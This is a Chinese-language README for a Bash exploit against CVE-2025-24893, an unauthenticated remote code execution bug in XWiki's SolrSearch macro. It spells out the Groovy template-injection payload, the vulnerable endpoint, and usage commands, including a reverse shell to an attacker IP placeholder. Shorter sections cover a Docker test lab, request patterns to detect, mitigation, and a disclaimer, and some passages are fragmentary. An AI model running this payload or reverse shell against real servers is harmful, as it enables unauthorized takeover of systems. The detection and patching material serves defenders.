
Bash 漏洞利用,针对 CVE-2025-24893,即 XWiki Platform 中的未认证远程代码执行(RCE),利用 SolrSearch 宏中的模板注入来执行任意系统命令。
本脚本是一个重新设计的 Bash 实现,用于利用受 CVE-2025-24893 影响的 XWiki Platform 版本。它利用了一个关键的未授权远程代码执行漏洞,该漏洞允许攻击者通过 SolrSearch 宏中的模板注入缺陷执行任意 Groovy 代码。
原始的 Python 漏洞利用实现由多位安全研究人员创建,此处针对 Bash 用户进行了改编,简化了执行流程并增强了可用性。
text 参数,使攻击者能够在无需认证的情况下将恶意 Groovy 代码注入到渲染管道中。curl:用于发送 HTTP 请求。jq:用于对负载进行 URL 编码。赋予执行权限:
chmod +x CVE-2025-24893
使用必需参数运行脚本:
./CVE-2025-24893 <目标URL> <命令>
| 参数 | 描述 |
|---|---|
<目标URL> | 目标 XWiki URL(例如 http://example.com 或 https://xwiki.example.org)。协议可选。 |
<命令> | 在目标服务器上执行的系统命令。 |
检查目标是否易受攻击(执行 id 命令):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
获取系统信息:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
创建测试文件:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
反弹 Shell(替换为您的 IP 和端口):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
命令行参数解析:
http:// 规范化 URL。Payload 构建:
.execute() 执行指定命令。}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}URL 编码:
jq 对 payload 进行 URL 编码,以确保正确传输。漏洞利用:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<编码后的payload>漏洞利用链如下:
}}}{{async async=false}}{{groovy}}'<command>'.execute();{{/groovy}}{{/async}}
}}} - 关闭任何现有的宏上下文{{async async=false}} - 确保同步执行{{groovy}}...{{/groovy}} - 包装恶意 Groovy 代码'<command>'.execute(); - 执行指定的系统命令出于测试目的,您可以使用 Docker 搭建一个易受攻击的 XWiki 实例:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# 等待 XWiki 启动(可能需要 1-2 分钟)
./CVE-2025-24893 http://localhost:8080 "whoami"
成功利用此漏洞,未授权的攻击者可以:
根据 CISA 和多家安全厂商的信息:
监控对 SolrSearch 端点的可疑请求:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
查找包含以下模式的请求:
{{groovy}}{{async}}.execute()/tmp 或其他可写目录中的新文件升级 XWiki 至已修复版本:
应用临时解决措施(如果无法立即打补丁):
监控是否被攻陷:
本脚本仅用于教育目的。未经您拥有或明确获得测试权限的系统所有者许可,擅自使用此工具是非法且不道德的。请负责任地使用。
在测试之前,您必须获得系统所有者的明确书面许可。
本工具的作者不对因使用本脚本导致的任何误用或损害负责。用户全权负责确保其拥有适当的授权并遵守所有适用法律和法规。